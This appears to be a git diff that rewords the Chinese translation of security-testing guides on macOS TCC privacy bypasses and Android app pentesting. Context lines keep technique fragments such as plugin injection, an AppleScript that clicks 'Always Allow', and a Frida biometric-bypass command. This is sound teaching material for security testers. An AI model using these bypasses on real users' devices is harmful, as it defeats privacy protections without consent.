- 原子性地在 `/Users/hacker/tmp` 和 `/Users/hacker/ourlink` 之间切换 **在一个循环中**
|
||||
@ -257,13 +241,13 @@ TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资
|
||||
{{#endref}}
|
||||
|
||||
此外,发现的最常见的通过 TCC 的进程注入是通过 **插件(加载库)**。\
|
||||
插件通常是以库或 plist 形式存在的额外代码,将被 **主应用程序加载** 并在其上下文中执行。因此,如果主应用程序具有访问 TCC 限制文件的权限(通过授予的权限或权利),**自定义代码也将具有这些权限**。
|
||||
插件是通常以库或 plist 形式存在的额外代码,将由 **主应用程序加载**,并将在其上下文中执行。因此,如果主应用程序具有访问 TCC 限制文件的权限(通过授予的权限或权利),**自定义代码也将具有这些权限**。
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 具有权限 **`kTCCServiceSystemPolicySysAdminFiles`**,加载了扩展名为 **`.daplug`** 的插件,并且 **没有经过强化** 的运行时。
|
||||
|
||||
为了武器化此 CVE,**`NFSHomeDirectory`** 被 **更改**(滥用先前的权限),以便能够 **接管用户的 TCC 数据库** 以绕过 TCC。
|
||||
为了武器化此 CVE,**`NFSHomeDirectory`** 被 **更改**(滥用之前的权限),以便能够 **接管用户的 TCC 数据库** 以绕过 TCC。
|
||||
|
||||
有关更多信息,请查看 [**原始报告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
|
||||
|
||||
@ -304,7 +288,7 @@ exit(0);
|
||||
|
||||
通过 Core Media I/O 打开摄像头流的系统应用程序(具有 **`kTCCServiceCamera`** 的应用程序)会加载位于 `/Library/CoreMediaIO/Plug-Ins/DAL` 的 **这些插件**(不受 SIP 限制)。
|
||||
|
||||
只需在此处存储一个带有常见 **构造函数** 的库即可 **注入代码**。
|
||||
仅在此处存储一个带有常见 **构造函数** 的库即可 **注入代码**。
|
||||
|
||||
多个 Apple 应用程序对此存在漏洞。
|
||||
|
||||
@ -382,7 +366,7 @@ launchctl load com.telegram.launcher.plist
|
||||
|
||||
### 终端脚本
|
||||
|
||||
在技术人员使用的计算机上,给终端 **完全磁盘访问 (FDA)** 是很常见的。并且可以使用它调用 **`.terminal`** 脚本。
|
||||
在技术人员使用的计算机上,通常会给予终端 **完全磁盘访问 (FDA)**。并且可以使用它调用 **`.terminal`** 脚本。
|
||||
|
||||
**`.terminal`** 脚本是 plist 文件,例如这个文件,其中包含在 **`CommandString`** 键中执行的命令:
|
||||
```xml
|
||||
@ -479,7 +463,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
|
||||
### 位置服务
|
||||
|
||||
在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库,以指示允许**访问位置服务**的客户端。\
|
||||
在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库,用于指示允许**访问位置服务**的客户端。\
|
||||
文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**,因此可以挂载我们自己的plist。
|
||||
|
||||
## 通过启动应用
|
||||
@ -490,7 +474,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
|
||||
## 通过grep
|
||||
|
||||
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等……(这被视为Apple的一个漏洞)。
|
||||
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等(这被视为Apple的一个漏洞)。
|
||||
|
||||
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
这里有一些示例: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
有关使用苹果脚本的恶意软件的更多信息 [**请点击这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
|
||||
在这里找到有关恶意软件使用苹果脚本的更多信息 [**here**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
|
||||
|
||||
苹果脚本可以很容易地 "**编译**"。这些版本可以通过 `osadecompile` 很容易地 "**反编译**"。
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
### 桌面
|
||||
|
||||
- **Entitlement**: 无
|
||||
- **权限**: 无
|
||||
- **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{{#tabs}}
|
||||
@ -382,7 +382,7 @@ fclose(stderr); // Close the file stream
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="ObjectiveC - Check"}}
|
||||
检查程序是否有权访问相机。
|
||||
检查程序是否有访问相机的权限。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
@ -529,7 +529,7 @@ fclose(stderr); // Close the file stream
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="ObjectiveC - Check"}}
|
||||
检查应用程序是否有权访问麦克风。
|
||||
检查应用是否有权访问麦克风。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
@ -877,6 +877,6 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!CAUTION] > **可访问性是一个非常强大的权限**,你可以以其他方式滥用它,例如你可以仅通过它执行**击键攻击**,而无需调用系统事件。
|
||||
> [!CAUTION] > **无障碍功能是一个非常强大的权限**,你可以以其他方式滥用它,例如你可以仅通过它执行**击键攻击**,而无需调用系统事件。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -52,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### 寻找有趣的信息
|
||||
|
||||
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL**([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -64,9 +64,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
从 **Manifest.xml** 中识别的**漏洞**包括:
|
||||
|
||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
|
||||
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
|
||||
@ -77,7 +77,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
|
||||
实际上,它是**让用户不知道他们实际上是在对受害者应用程序执行操作**。
|
||||
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||
|
||||
在这里找到更多信息:
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### 任务劫持
|
||||
|
||||
一个**活动**如果**`launchMode`** 设置为 **`singleTask`** 且没有定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且没有定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
|
||||
|
||||
更多信息在:
|
||||
|
||||
@ -99,7 +99,7 @@ android-task-hijacking.md
|
||||
|
||||
**内部存储**
|
||||
|
||||
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统强制执行,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式,以**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
|
||||
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统强制执行,通常足以满足大多数应用程序的安全需求。然而,开发者有时会利用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在的恶意应用程序)对这些文件的访问。
|
||||
|
||||
1. **静态分析:**
|
||||
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
||||
@ -123,7 +123,7 @@ android-task-hijacking.md
|
||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||
|
||||
> [!NOTE]
|
||||
> 从 Android 4.4(**API 17**)开始,SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对另一个应用程序文件的读写访问。
|
||||
> 从 Android 4.4(**API 17**)开始,SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
|
||||
|
||||
**以明文存储的敏感数据**
|
||||
|
||||
@ -134,12 +134,12 @@ android-task-hijacking.md
|
||||
|
||||
**接受所有证书**
|
||||
|
||||
出于某种原因,有时开发人员会接受所有证书,即使例如主机名与以下代码行不匹配:
|
||||
出于某种原因,有时开发者会接受所有证书,即使例如主机名与以下代码行不匹配:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
测试此项的一个好方法是尝试使用一些代理(如 Burp)捕获流量,而不在设备中授权 Burp CA。此外,您还可以使用 Burp 为不同的主机名生成证书并使用它。
|
||||
一个好的测试方法是尝试使用一些代理(如 Burp)捕获流量,而不在设备中授权 Burp CA。此外,您还可以使用 Burp 为不同的主机名生成证书并使用它。
|
||||
|
||||
### 破损的加密
|
||||
|
||||
@ -177,17 +177,17 @@ react-native-application.md
|
||||
|
||||
### 超级打包应用程序
|
||||
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些应用程序的应用的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统收集解压缩的文件。**
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压这些应用程序的应用的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统收集解压缩的文件。**
|
||||
|
||||
### 自动化静态代码分析
|
||||
|
||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制的输入** 的 **位置**)、**汇**(指示工具 **危险** **位置**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇** 的 **组合**,表明存在漏洞。
|
||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制输入的地方**)、**汇**(指示工具 **危险的地方**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇** 的 **组合**,表明存在漏洞。
|
||||
|
||||
通过这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。
|
||||
|
||||
### 泄露的秘密
|
||||
|
||||
应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……)在其中,您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
一个应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……)在其中,您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### 绕过生物识别认证
|
||||
|
||||
@ -247,7 +247,7 @@ avd-android-virtual-device.md
|
||||
|
||||
.png>)
|
||||
|
||||
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**(这在您将从不同的 VM 连接到 Android VM 时会很有用)。
|
||||
此外,请注意在 **Genymotion 中的 Android VM 配置**中,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 使用工具,这将非常有用)。
|
||||
|
||||
#### 使用物理设备
|
||||
|
||||
@ -260,7 +260,7 @@ avd-android-virtual-device.md
|
||||
5. 返回,您将找到 **开发者选项**。
|
||||
|
||||
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并熟悉它。\
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以 **了解应用程序的工作原理**,同时 MobSF **捕获** 许多您可以稍后查看的 **有趣** **数据**。
|
||||
|
||||
### 意外数据泄露
|
||||
|
||||
@ -274,22 +274,22 @@ avd-android-virtual-device.md
|
||||
|
||||
**复制/粘贴缓冲区缓存**
|
||||
|
||||
Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能,但由于 **其他应用程序** 可以 **访问** 剪贴板,可能会暴露敏感数据,因此存在风险。对于应用程序的敏感部分(如信用卡详细信息),至关重要的是 **禁用复制/粘贴** 功能,以防止数据泄露。
|
||||
Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能,但由于 **其他应用程序** 可以 **访问** 剪贴板,可能会暴露敏感数据。因此,至关重要的是 **禁用敏感部分的复制/粘贴** 功能,例如信用卡详细信息,以防止数据泄露。
|
||||
|
||||
**崩溃日志**
|
||||
|
||||
如果应用程序 **崩溃** 并 **保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
||||
如果应用程序 **崩溃** 并 **保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低这种风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
||||
|
||||
作为渗透测试者,**请尝试查看这些日志**。
|
||||
|
||||
**发送给第三方的分析数据**
|
||||
|
||||
应用程序通常集成 Google Adsense 等服务,由于开发人员的不当实施,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
|
||||
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实施,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
|
||||
|
||||
### SQLite 数据库
|
||||
|
||||
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
|
||||
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
|
||||
数据库应位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
如果数据库保存机密信息并且是 **加密的**,但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**。
|
||||
|
||||
@ -297,7 +297,7 @@ Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴
|
||||
|
||||
### Drozer(利用活动、内容提供者和服务)
|
||||
|
||||
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以执行 **已安装应用程序可以做的任何事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\
|
||||
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以做 **任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\
|
||||
Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
|
||||
|
||||
### 利用导出活动
|
||||
@ -307,7 +307,7 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
|
||||
|
||||
**授权绕过**
|
||||
|
||||
当活动被导出时,您可以从外部应用程序调用其界面。因此,如果导出一个包含 **敏感信息** 的活动,您可能会 **绕过** **身份验证** 机制 **以访问它**。
|
||||
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可能会 **绕过** **认证** 机制 **以访问它**。
|
||||
|
||||
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/#activities)
|
||||
|
||||
@ -318,46 +318,46 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**注意**:MobSF会将使用_**singleTask/singleInstance**_作为`android:launchMode`的活动检测为恶意,但由于[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API版本<21)中才是危险的。
|
||||
**注意**: MobSF 会将使用 _**singleTask/singleInstance**_ 作为 `android:launchMode` 的活动检测为恶意,但由于 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API 版本 < 21)中才是危险的。
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,授权绕过并不总是一个漏洞,这取决于绕过的工作方式和暴露的信息。
|
||||
|
||||
**敏感信息泄露**
|
||||
|
||||
**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用**`setResult`**方法并**返回敏感信息**,则存在敏感信息泄露。
|
||||
**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
如果未防止tapjacking,您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](./#tapjacking)。
|
||||
如果未防止 tapjacking,您可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](./#tapjacking)。
|
||||
|
||||
### 利用内容提供者 - 访问和操纵敏感信息
|
||||
|
||||
[**如果您想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||
内容提供者基本上用于**共享数据**。如果一个应用程序有可用的内容提供者,您可能能够**提取敏感**数据。测试可能的**SQL注入**和**路径遍历**也很有趣,因为它们可能存在漏洞。
|
||||
[**如果您想刷新内容提供者的概念,请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||
内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者,您可能能够 **提取敏感** 数据。测试可能的 **SQL 注入** 和 **路径遍历** 也很有趣,因为它们可能存在漏洞。
|
||||
|
||||
[**了解如何使用Drozer利用内容提供者。**](drozer-tutorial/#content-providers)
|
||||
[**了解如何使用 Drozer 利用内容提供者。**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **利用服务**
|
||||
|
||||
[**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
|
||||
请记住,服务的操作始于方法`onStartCommand`。
|
||||
[**如果您想刷新服务的概念,请阅读此内容。**](android-applications-basics.md#services)\
|
||||
请记住,服务的操作始于 `onStartCommand` 方法。
|
||||
|
||||
服务基本上是可以**接收数据**、**处理**数据并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该**检查**代码以了解它在做什么,并**动态**测试以提取机密信息、绕过身份验证措施...\
|
||||
[**了解如何使用Drozer利用服务。**](drozer-tutorial/#services)
|
||||
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该 **检查** 其 **代码** 以了解其功能,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
|
||||
[**了解如何使用 Drozer 利用服务。**](drozer-tutorial/#services)
|
||||
|
||||
### **利用广播接收器**
|
||||
|
||||
[**如果您想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||
请记住,广播接收器的操作始于方法`onReceive`。
|
||||
[**如果您想刷新广播接收器的概念,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||
请记住,广播接收器的操作始于 `onReceive` 方法。
|
||||
|
||||
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
|
||||
[**了解如何使用Drozer利用广播接收器。**](./#exploiting-broadcast-receivers)
|
||||
[**了解如何使用 Drozer 利用广播接收器。**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **利用方案/深度链接**
|
||||
### **利用方案 / 深度链接**
|
||||
|
||||
您可以手动查找深度链接,使用像MobSF这样的工具或像[this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)这样的脚本。\
|
||||
您可以使用**adb**或**浏览器**打开声明的**方案**:
|
||||
您可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\
|
||||
您可以使用 **adb** 或 **浏览器** **打开** 声明的 **方案**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -403,7 +403,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
|
||||
#### 流量检查
|
||||
|
||||
要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
||||
要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
||||
|
||||
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
|
||||
|
||||
@ -417,9 +417,9 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
|
||||
- 如果您仍然认为有一些流量未被捕获,您可以尝试**使用 iptables 将流量转发到 burp**。阅读此博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### 寻找常见的 Web 漏洞
|
||||
#### 寻找常见的网络漏洞
|
||||
|
||||
在应用程序中搜索常见的 Web 漏洞也很重要。有关识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他地方有广泛的覆盖。
|
||||
在应用程序中搜索常见的网络漏洞也很重要。有关识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他地方有广泛的覆盖。
|
||||
|
||||
### Frida
|
||||
|
||||
@ -435,7 +435,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
|
||||
### **内存转储 - Fridump**
|
||||
|
||||
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
|
||||
检查应用程序是否在内存中存储不应存储的敏感信息,例如密码或助记符。
|
||||
|
||||
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存:
|
||||
```bash
|
||||
@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
快照通常存储在:**`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -484,7 +484,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### 意图注入
|
||||
|
||||
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些意图并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法,这可能是有风险的。
|
||||
开发人员通常创建代理组件,如活动、服务和广播接收器,处理这些意图并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法,这可能存在风险。
|
||||
|
||||
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
|
||||
|
||||
@ -493,7 +493,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
- **意图注入** 类似于网络的开放重定向问题。
|
||||
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
|
||||
- 它可以将未导出的组件和内容提供者暴露给攻击者。
|
||||
- `WebView` 的 URL 到 `Intent` 的转换可能会促进意外操作。
|
||||
- `WebView` 的 URL 到 `Intent` 的转换可能会促成意外操作。
|
||||
|
||||
### Android 客户端侧注入及其他
|
||||
|
||||
@ -502,7 +502,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
- **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。
|
||||
- **JavaScript 注入 (XSS):** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **持久性 Cookie:** 在多个情况下,当 Android 应用结束会话时,Cookie 不会被撤销,甚至可能被保存到磁盘。
|
||||
- **持久性 Cookie:** 在多个情况下,当 Android 应用结束会话时,Cookie 并未被撤销,甚至可能被保存到磁盘。
|
||||
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
---
|
||||
@ -523,39 +523,39 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
注意,MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序(_Windows 应用程序必须从安装在 Windows 主机上的 MobSF 进行分析_)。\
|
||||
此外,如果您创建一个包含 **Android** 或 **IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。
|
||||
|
||||
